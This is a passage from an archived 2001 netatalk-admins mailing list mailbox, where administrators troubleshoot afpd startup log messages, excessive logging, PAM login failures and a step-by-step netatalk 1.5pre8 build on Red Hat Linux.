Oct  8 21:18:22 gpi1 afpd[691]: gpi1:AFPServer@* started on 65280.108:128 
(1.5pre7)
Oct  8 21:18:22 gpi1 afpd[691]: ASIP started on 127.0.0.1:548(2) (1.5pre7)
Oct  8 21:18:22 gpi1 afpd[691]: uam: uams_clrtxt.so loaded
Oct  8 21:18:22 gpi1 afpd[691]: uam: uams_dhx.so loaded
Oct  8 21:18:22 gpi1 afpd[691]: uam: "DHCAST128" available
Oct  8 21:18:22 gpi1 afpd[691]: uam: "Cleartxt Passwrd" available
Oct  8 21:18:28 gpi1 afpd[691]: gpi1:AFPServer@* started on 65280.108:129 
(1.5pre7)
Oct  8 21:18:28 gpi1 afpd[691]: main: dsi_init: Address already in use
Oct  8 21:18:28 gpi1 afpd[691]: uam: uams_clrtxt.so loaded
Oct  8 21:18:28 gpi1 afpd[691]: uam: uams_dhx.so loaded
Oct  8 21:18:28 gpi1 afpd[691]: uam: "DHCAST128" available
Oct  8 21:18:28 gpi1 afpd[691]: uam: "Cleartxt Passwrd" available
Oct  8 21:18:34 gpi1 afpd[691]: gpi1:AFPServer@* started on 65280.108:130 
(1.5pre7)
Oct  8 21:18:34 gpi1 afpd[691]: main: dsi_init: Address already in use
Oct  8 21:18:34 gpi1 afpd[691]: uam: uams_clrtxt.so loaded
Oct  8 21:18:34 gpi1 afpd[691]: uam: uams_dhx.so loaded
Oct  8 21:18:34 gpi1 afpd[691]: uam: "DHCAST128" available
Oct  8 21:18:34 gpi1 afpd[691]: uam: "Cleartxt Passwrd" available
Oct  8 21:18:40 gpi1 afpd[691]: gpi1:AFPServer@* started on 65280.108:131 
(1.5pre7)
Oct  8 21:18:40 gpi1 afpd[691]: main: dsi_init: Address already in use
Oct  8 21:18:40 gpi1 afpd[691]: uam: uams_clrtxt.so loaded
Oct  8 21:18:40 gpi1 afpd[691]: uam: uams_dhx.so loaded
Oct  8 21:18:40 gpi1 afpd[691]: uam: "DHCAST128" available
Oct  8 21:18:40 gpi1 afpd[691]: uam: "Cleartxt Passwrd" available

cheers /Mikko


From netatalk.administrators-errors@umich.edu  Mon Oct  8 18:53:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA00182
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Oct 2001 18:53:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA25272
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Oct 2001 18:53:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA25249
	for netatalk.administrators-members@umich.edu; Mon, 8 Oct 2001 18:53:42 -0400 (EDT)
Received: from axiom.anu.edu.au (axiom.anu.edu.au [150.203.127.200])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA25195
	for <netatalk-admins@umich.edu>; Mon, 8 Oct 2001 18:53:40 -0400 (EDT)
Received: from [150.203.127.238] (cooyoyo.anu.edu.au [150.203.127.238])
	(authenticated (0 bits))
	by axiom.anu.edu.au (8.11.2/1.1 Herple Unix 5.3) with ESMTP id f98MrcS24849
	for <netatalk-admins@umich.edu>; Tue, 9 Oct 2001 08:53:38 +1000
Mime-Version: 1.0
X-Sender: kimh@axiom.anu.edu.au
Message-Id: <a05101000b7e7de204a58@[150.203.127.238]>
In-Reply-To: <5.1.0.14.2.20011008230941.01ccecb8@carme.affordablehost.com>
References: <5.1.0.14.2.20011008230941.01ccecb8@carme.affordablehost.com>
Date: Tue, 9 Oct 2001 08:51:26 +1000
To: netatalk-admins@umich.edu
From: Kim Holburn <kim.holburn@anu.edu.au>
Subject: too much logging?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hi folks,

I get heaps of messages like this in my syslog:

Oct  4 02:59:46 tristan afpd[2180]: begin afp_getfildirparams:
Oct  4 02:59:46 tristan afpd[2180]: begin getfilparams:
Oct  4 02:59:46 tristan afpd[2180]: end getfilparams:
Oct  4 02:59:46 tristan afpd[2180]: end afp_getfildirparams:
Oct  4 02:59:46 tristan afpd[2180]: begin afp_getfildirparams:
Oct  4 02:59:46 tristan afpd[2180]: begin getfilparams:
Oct  4 02:59:46 tristan afpd[2180]: end getfilparams:
Oct  4 02:59:46 tristan afpd[2180]: end afp_getfildirparams:
Oct  4 03:14:47 tristan afpd[2180]: begin afp_getfildirparams:
Oct  4 03:14:47 tristan afpd[2180]: begin getfilparams:
Oct  4 03:14:47 tristan afpd[2180]: end getfilparams:
Oct  4 03:14:47 tristan afpd[2180]: end afp_getfildirparams:
Oct  4 03:14:47 tristan afpd[2180]: begin afp_getfildirparams:
Oct  4 03:14:47 tristan afpd[2180]: begin getfilparams:
Oct  4 03:14:47 tristan afpd[2180]: end getfilparams:
Oct  4 03:14:47 tristan afpd[2180]: end afp_getfildirparams:

Is there any way of stopping this logging?

Kim
-- 
--
Kim Holburn  Network Consultant  P/F: +61 2 61258620 M: +61 0417820641
Email: kim.holburn@anu.edu.au - PGP Public Key on request

Life is complex - It has real and imaginary parts.
      Andrea Leistra (rec.arts.sf.written.Robert-jordan)

From netatalk.administrators-errors@umich.edu  Mon Oct  8 19:25:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA01738
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Oct 2001 19:25:30 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA19068
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Oct 2001 19:25:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA19043
	for netatalk.administrators-members@umich.edu; Mon, 8 Oct 2001 19:25:29 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id TAA19000
	for <netatalk-admins@umich.edu>; Mon, 8 Oct 2001 19:25:28 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 13759 invoked from network); 8 Oct 2001 23:25:24 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 8 Oct 2001 23:25:24 -0000
Message-Id: <5.1.0.14.2.20011008235512.01ccecb8@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Tue, 09 Oct 2001 01:26:13 +0200
To: netatalk-admins@umich.edu
Subject: Re: Login Problems
In-Reply-To: <B7E5C3A4.3146%fresler@charsys.com>
References: <5.1.0.14.2.20011007040316.01c49868@carme.affordablehost.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_35473167==_.ALT"

--=====================_35473167==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi,
Here is a complete (I hope) list of what I did to get 1.5pre8 working on RH7.1:




tar xzf netatalk-1.5pre8.tar.gz
cd  netatalk-1.5pre8

./configure --with-pam --with-shadow --with-config-dir=/etc --with-did=last 
--with-flock-locks --with-msg-dir=/etc/netatalk/msg

vi etc/uams/Makefile
-----------------------------------------------------------------------------------------------------------------------
UNCOMMENT:
#UAMS_PAM = uams_pam.la
#UAMS_DHX_PAM = uams_dhx_pam.la
UAMS_CLRTXT_LINK = uams_pam.so
#UAMS_CLRTXT_LINK = uams_passwd.so
UAMS_DHX_LINK = uams_dhx_pam.so
#UAMS_DHX_LINK = uams_dhx_passwd.so

TO:
UAMS_PAM = uams_pam.la
UAMS_DHX_PAM = uams_dhx_pam.la
UAMS_CLRTXT_LINK = uams_pam.so
#UAMS_CLRTXT_LINK = uams_passwd.so
UAMS_DHX_LINK = uams_dhx_pam.so
#UAMS_DHX_LINK = uams_dhx_passwd.so
-----------------------------------------------------------------------------------------------------------------------

make
make install

mkdir /etc/netatalk/msg
cp distrib/initscripts/rc.atalk.redhat.tmpl /etc/init.d/atalk
cd /etc/init.d

vi atalk
-----------------------------------------------------------------------------------------------------------------------
CHANGE:
ATALK_BIN=:BINDIR:
ATALK_CONF_DIR=:ETCDIR:
ATALK_SBIN=:SBINDIR:

TO:
ATALK_BIN=/usr/local/bin
ATALK_CONF_DIR=/etc/netatalk
ATALK_SBIN=/usr/local/sbin

COMMENT OUT:
/sbin/modprobe appletalk || echo "[could not load appletalk module]"

TO:
#/sbin/modprobe appletalk || echo "[could not load appletalk module]"
-----------------------------------------------------------------------------------------------------------------------
(this last step is if you have appletalk compiled into the kernel as I 
have, cosmetics)

chmod 755 atalk

cd ../rc3.d (or whatever runlevel)
ln -s ../init.d/atalk S81atalk (or whatever number)
ln -s ../init.d/atalk S36atalk (or whatever number)
cd /etc/pam.d

vi netatalk
-----------------------------------------------------------------------------------------------------------------------
auth            required                pam_unix_auth.so
account required                pam_unix_acct.so
session required                pam_unix_session.so
password        required                pam_unix_passwd.so
-----------------------------------------------------------------------------------------------------------------------
(this is my /etc/pam.d/netatalk, and it works....)

edit the config files in /etc/netatalk, then type:
/etc/init.d/atalk start
to start it up, or reboot.





I'm not a Linux guru but after alot of fights I got this going.
I would appreciate any coments.

Best regards /Mikko



At 14:32 2001-10-07, you wrote:
>On 10/6/01 10:05 PM, "mikko@fs.sorl.net" <mikko@fs.sorl.net> sat down and 
>composed:
>Try this:
>
>./configure --enable-redhat --with-pam
>
>then put
>/usr/local/etc/pam.d/netatalk
>in
>/etc/pam.d/
>
>my pam.d/netatalk lokks like this:
>auth           required        pam_unix_auth.so
>account        required        pam_unix_acct.so
>session        required       pam_unix_session.so
>password       required       pam_unix_passwd.so
>
>and it works
>
>/cheers, Mikko
>
>
>
>Thanks for the help, but it didn t work. :(  I re-compiled with the flags 
>you suggested and I made my /etc/pam.d/netatalk file look just like 
>yours.  I still get the User unknown, password incorrect, or logon 
>disabled error. Any other ideas?
>
>Thanks,
>     Floyd


--=====================_35473167==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Hi,<br>
Here is a complete (I hope) list of what I did to get 1.5pre8 working on
RH7.1:<br><br>
<br><br>
<br>
tar xzf netatalk-1.5pre8.tar.gz <br>
cd&nbsp; netatalk-1.5pre8<br><br>
./configure --with-pam --with-shadow --with-config-dir=/etc
--with-did=last --with-flock-locks
--with-msg-dir=/etc/netatalk/msg<br><br>
vi etc/uams/Makefile<br>
-----------------------------------------------------------------------------------------------------------------------<br>
UNCOMMENT:<br>
#UAMS_PAM = uams_pam.la<br>
#UAMS_DHX_PAM = uams_dhx_pam.la<br>
UAMS_CLRTXT_LINK = uams_pam.so<br>
#UAMS_CLRTXT_LINK = uams_passwd.so<br>
UAMS_DHX_LINK = uams_dhx_pam.so<br>
#UAMS_DHX_LINK = uams_dhx_passwd.so<br><br>
TO:<br>
UAMS_PAM = uams_pam.la<br>
UAMS_DHX_PAM = uams_dhx_pam.la<br>
UAMS_CLRTXT_LINK = uams_pam.so<br>
#UAMS_CLRTXT_LINK = uams_passwd.so<br>
UAMS_DHX_LINK = uams_dhx_pam.so<br>
#UAMS_DHX_LINK = uams_dhx_passwd.so<br>
-----------------------------------------------------------------------------------------------------------------------<br><br>
make<br>
make install<br><br>
mkdir /etc/netatalk/msg<br>
cp distrib/initscripts/rc.atalk.redhat.tmpl /etc/init.d/atalk<br>
cd /etc/init.d<br><br>
vi atalk<br>
-----------------------------------------------------------------------------------------------------------------------<br>
CHANGE:<br>
ATALK_BIN=:BINDIR:<br>
ATALK_CONF_DIR=:ETCDIR:<br>
ATALK_SBIN=:SBINDIR:<br><br>
TO:<br>
ATALK_BIN=/usr/local/bin<br>
ATALK_CONF_DIR=/etc/netatalk<br>
ATALK_SBIN=/usr/local/sbin<br><br>
COMMENT OUT:<br>
/sbin/modprobe appletalk || echo &quot;[could not load appletalk
module]&quot;<br><br>
TO:<br>
#/sbin/modprobe appletalk || echo &quot;[could not load appletalk
module]&quot;<br>
-----------------------------------------------------------------------------------------------------------------------<br>
(this last step is if you have appletalk compiled into the kernel as I
have, cosmetics)<br><br>
chmod 755 atalk<br><br>
cd ../rc3.d (or whatever runlevel)<br>
ln -s ../init.d/atalk S81atalk (or whatever number)<br>
ln -s ../init.d/atalk S36atalk (or whatever number)<br>
cd /etc/pam.d<br><br>
vi netatalk<br>
-----------------------------------------------------------------------------------------------------------------------<br>
auth<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>required<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>pam_unix_auth.so<br>
account<x-tab>&nbsp;</x-tab>required<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>pam_unix_acct.so<br>
session<x-tab>&nbsp;</x-tab>required<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>pam_unix_session.so<br>
password<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>required<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>pam_unix_passwd.so<br>
-----------------------------------------------------------------------------------------------------------------------<br>
(this is my /etc/pam.d/netatalk, and it works....)<br><br>
edit the config files in /etc/netatalk, then type:<br>
/etc/init.d/atalk start<br>
to start it up, or reboot.<br><br>
<br><br>
<br><br>
I'm not a Linux guru but after alot of fights I got this going.<br>
I would appreciate any coments.<br><br>
Best regards /Mikko<br><br>
<br><br>
At 14:32 2001-10-07, you wrote:<br>
<blockquote type=cite class=cite cite><font face="Verdana">On 10/6/01
10:05 PM, &quot;mikko@fs.sorl.net&quot; &lt;mikko@fs.sorl.net&gt; sat
down and composed:<br>
</font>
<dl>
<dd>Try this:<br><br>

<dd>./configure --enable-redhat --with-pam<br><br>

<dd>then put
<dd>/usr/local/etc/pam.d/netatalk
<dd>in
<dd>/etc/pam.d/<br><br>

<dd>my pam.d/netatalk lokks like this:
<dd>auth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_unix_auth.so
<dd>account&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_unix_acct.so
<dd>session&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_unix_session.so
<dd>password&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_unix_passwd.so<br><br>

<dd>and it works<br><br>

<dd>/cheers, Mikko<br><br>
<br><br>

<dd>Thanks for the help, but it didn t work. :(&nbsp; I re-compiled with
the flags you suggested and I made my /etc/pam.d/netatalk file look just
like yours.&nbsp; I still get the User unknown, password incorrect, or
logon disabled error. Any other ideas?<br><br>

<dd>Thanks,
<dd>&nbsp;&nbsp;&nbsp; Floyd
</dl><font face="Verdana"></font></blockquote><br>
</html>

--=====================_35473167==_.ALT--


From netatalk.administrators-errors@umich.edu  Tue Oct  9 03:25:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA18816
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 9 Oct 2001 03:25:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA29903
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 9 Oct 2001 03:25:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA29886
	for netatalk.administrators-members@umich.edu; Tue, 9 Oct 2001 03:25:20 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id DAA29831
	for <netatalk-admins@umich.edu>; Tue, 9 Oct 2001 03:25:18 -0400 (EDT)
X-VirusChecked: Checked
Received: (qmail 22117 invoked from network); 9 Oct 2001 07:21:41 -0000
Received: from smtp.morse.com (HELO mailgw1.morse.com) (195.152.231.118)
  by server-43.tower-1.london-2.starlabs.net with SMTP; 9 Oct 2001 07:21:41 -0000
Received: from bsexch1.morse.com (BSEXCH1 [10.10.202.3]) by mailgw1.morse.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 41H5C7TK; Tue, 9 Oct 2001 08:24:49 +0100
Received: by BSEXCH1 with Internet Mail Service (5.5.2653.19)
	id <4J0X8B3N>; Tue, 9 Oct 2001 08:22:34 +0100
Message-ID: <55EC28DE870FD411A34D00508B6A767DD5E419@frexch1.morse.com>
From: Thomas Baumann <Thomas.Baumann@morse.com>
To: "'Kim Holburn'" <kim.holburn@anu.edu.au>
Cc: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: AW: too much logging?
Date: Tue, 9 Oct 2001 08:16:13 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA18816

I could only solve the problem by installing syslog-ng
where i could filter out these lines.

But If there is any other solution (config-file etc.)
to change this in atalk i“d be glad, too.

- tom

-----Ursprüngliche Nachricht-----
Von: Kim Holburn [mailto:kim.holburn@anu.edu.au]
Gesendet: Dienstag, 9. Oktober 2001 00:51
An: netatalk-admins@umich.edu
Betreff: too much logging?


Hi folks,

I get heaps of messages like this in my syslog:

Oct  4 02:59:46 tristan afpd[2180]: begin afp_getfildirparams:
Oct  4 02:59:46 tristan afpd[2180]: begin getfilparams:
Oct  4 02:59:46 tristan afpd[2180]: end getfilparams:
Oct  4 02:59:46 tristan afpd[2180]: end afp_getfildirparams:
Oct  4 02:59:46 tristan afpd[2180]: begin afp_getfildirparams:
Oct  4 02:59:46 tristan afpd[2180]: begin getfilparams:
Oct  4 02:59:46 tristan afpd[2180]: end getfilparams:
Oct  4 02:59:46 tristan afpd[2180]: end afp_getfildirparams:
Oct  4 03:14:47 tristan afpd[2180]: begin afp_getfildirparams:
Oct  4 03:14:47 tristan afpd[2180]: begin getfilparams:
Oct  4 03:14:47 tristan afpd[2180]: end getfilparams:
Oct  4 03:14:47 tristan afpd[2180]: end afp_getfildirparams:
Oct  4 03:14:47 tristan afpd[2180]: begin afp_getfildirparams:
Oct  4 03:14:47 tristan afpd[2180]: begin getfilparams:
Oct  4 03:14:47 tristan afpd[2180]: end getfilparams:
Oct  4 03:14:47 tristan afpd[2180]: end afp_getfildirparams:

Is there any way of stopping this logging?

Kim
-- 
--
Kim Holburn  Network Consultant  P/F: +61 2 61258620 M: +61 0417820641
Email: kim.holburn@anu.edu.au - PGP Public Key on request

Life is complex - It has real and imaginary parts.
      Andrea Leistra (rec.arts.sf.written.Robert-jordan)

From netatalk.administrators-errors@umich.edu  Wed Oct 10 05:23:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA19821
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 10 Oct 2001 05:23:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA07248
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 10 Oct 2001 05:23:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA07229
	for netatalk.administrators-members@umich.edu; Wed, 10 Oct 2001 05:23:46 -0400 (EDT)
Received: from mail46.fg.online.no (mail46-s.fg.online.no [148.122.161.46])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA07184
	for <netatalk-admins@umich.edu>; Wed, 10 Oct 2001 05:23:45 -0400 (EDT)
Received: from 130.67.10.105 (ti100710a062-0231.dialup.online.no [130.67.10.105])
	by mail46.fg.online.no (8.9.3/8.9.3) with SMTP id LAA09170
	for <netatalk-admins@umich.edu>; Wed, 10 Oct 2001 11:23:38 +0200 (MET DST)
Date: 10 Oct 2001 11:19:52 +0200
Message-ID: <938071590gjermund@mac.com>
From: Gjermund G Thorsen <gjermund@mac.com>
Subject: Re: It works, do I need to fix it?
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund G Thorsen <gjermund@mac.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id FAA19821

Its launched once pr. login and I think default is 5.
-- 
Yours Sincerely,

Gjermund Gusland Thorsen



"Faith, indeed, has up to the present not been able to move real
mountains... But it can put mountains where there are none." - F. Nietzsche

On mandag 8. oktober 2001 23:13, mikko@fs.sorl.net wrote:
>Hi,
>
>The AppleTalk server starts several times or something,
>if someone could help on why the /var/log/messages
>looks like this I'd be most greatfull and/of if that is normal.
>This is 1.5pre8 on RH7.1.
>
>/var/log/messages:
>Oct  8 21:18:22 gpi1 afpd[691]: gpi1:AFPServer@* started on 65280.108:128 
>(1.5pre7)
>Oct  8 21:18:22 gpi1 afpd[691]: ASIP started on 127.0.0.1:548(2) (1.5pre7)
>Oct  8 21:18:22 gpi1 afpd[691]: uam: uams_clrtxt.so loaded
>Oct  8 21:18:22 gpi1 afpd[691]: uam: uams_dhx.so loaded
>Oct  8 21:18:22 gpi1 afpd[691]: uam: "DHCAST128" available
>Oct  8 21:18:22 gpi1 afpd[691]: uam: "Cleartxt Passwrd" available
>Oct  8 21:18:28 gpi1 afpd[691]: gpi1:AFPServer@* started on 65280.108:129 
>(1.5pre7)
>Oct  8 21:18:28 gpi1 afpd[691]: main: dsi_init: Address already in use
>Oct  8 21:18:28 gpi1 afpd[691]: uam: uams_clrtxt.so loaded
>Oct  8 21:18:28 gpi1 afpd[691]: uam: uams_dhx.so loaded
>Oct  8 21:18:28 gpi1 afpd[691]: uam: "DHCAST128" available
>Oct  8 21:18:28 gpi1 afpd[691]: uam: "Cleartxt Passwrd" available
>Oct  8 21:18:34 gpi1 afpd[691]: gpi1:AFPServer@* started on 65280.108:130 
>(1.5pre7)
>Oct  8 21:18:34 gpi1 afpd[691]: main: dsi_init: Address already in use
>Oct  8 21:18:34 gpi1 afpd[691]: uam: uams_clrtxt.so loaded
>Oct  8 21:18:34 gpi1 afpd[691]: uam: uams_dhx.so loaded
>Oct  8 21:18:34 gpi1 afpd[691]: uam: "DHCAST128" available
>Oct  8 21:18:34 gpi1 afpd[691]: uam: "Cleartxt Passwrd" available
>Oct  8 21:18:40 gpi1 afpd[691]: gpi1:AFPServer@* started on 65280.108:131 
>(1.5pre7)
>Oct  8 21:18:40 gpi1 afpd[691]: main: dsi_init: Address already in use
>Oct  8 21:18:40 gpi1 afpd[691]: uam: uams_clrtxt.so loaded
>Oct  8 21:18:40 gpi1 afpd[691]: uam: uams_dhx.so loaded
>Oct  8 21:18:40 gpi1 afpd[691]: uam: "DHCAST128" available
>Oct  8 21:18:40 gpi1 afpd[691]: uam: "Cleartxt Passwrd"
>available
>
>cheers /Mikko
>


From netatalk.administrators-errors@umich.edu  Wed Oct 10 10:24:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA00244
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 10 Oct 2001 10:24:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA24387
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 10 Oct 2001 10:24:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA24374
	for netatalk.administrators-members@umich.edu; Wed, 10 Oct 2001 10:24:23 -0400 (EDT)
Received: from mail.dvusd.org ([170.177.2.3])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id KAA24338
	for <netatalk-admins@umich.edu>; Wed, 10 Oct 2001 10:24:21 -0400 (EDT)
Received: from GWIADom-Message_Server by mail.dvusd.org
	with Novell_GroupWise; Wed, 10 Oct 2001 07:23:39 -0700
Message-Id: <sbc3f77b.031@mail.dvusd.org>
X-Mailer: Novell GroupWise Internet Agent 5.5.5.1
Date: Wed, 10 Oct 2001 07:23:03 -0700
From: "Bryan Andrews" <bandrews@dvusd.org>
To: <netatalk-admins@umich.edu>
Subject: Login problem
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=_356FC7FB.11701905"

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--=_356FC7FB.11701905
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

I think I'm having issues with PAM(?), I followed the Linux Netatalk-HOWTO.=


On a standard Redhat 6.2 system, what switches should I use when compiling?=
   I used --with-pam and --with-shadow. I also copied netatalk.pam to =
/etc/pam.d/netatalk .

FYI - My log show's the users trying to login with the randnum/rand2num =
method.  I'm using 1.5pre8.

Any help would be appreciated!

-Bryan

--=_356FC7FB.11701905
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Diso-8859-1"=
>
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR></HEAD>
<BODY style=3D"MARGIN-TOP: 2px; FONT: 8pt Tahoma; MARGIN-LEFT: 2px">
<DIV><FONT size=3D2>I think I'm having issues with PAM(?), I followed the =
Linux=20
Netatalk-HOWTO.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>On a standard Redhat 6.2 system, what switches should =
I use=20
when compiling?&nbsp;&nbsp; I used --with-pam and --with-shadow.&nbsp;I =
also=20
copied netatalk.pam to /etc/pam.d/netatalk .</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>FYI - My log show's the users trying to login with =
the=20
randnum/rand2num method.&nbsp; I'm using 1.5pre8.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Any help would be appreciated!</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>-Bryan</FONT></DIV></BODY></HTML>

--=_356FC7FB.11701905--

From netatalk.administrators-errors@umich.edu  Thu Oct 11 10:18:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA28451
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 10:18:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA16994
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 10:18:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA16967
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 10:18:34 -0400 (EDT)
Received: from simile ([63.210.254.130])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA16926
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 10:18:33 -0400 (EDT)
Received: from [63.210.254.132] (helo=windev)
	by simile with smtp (Exim 3.22 #1 (Debian))
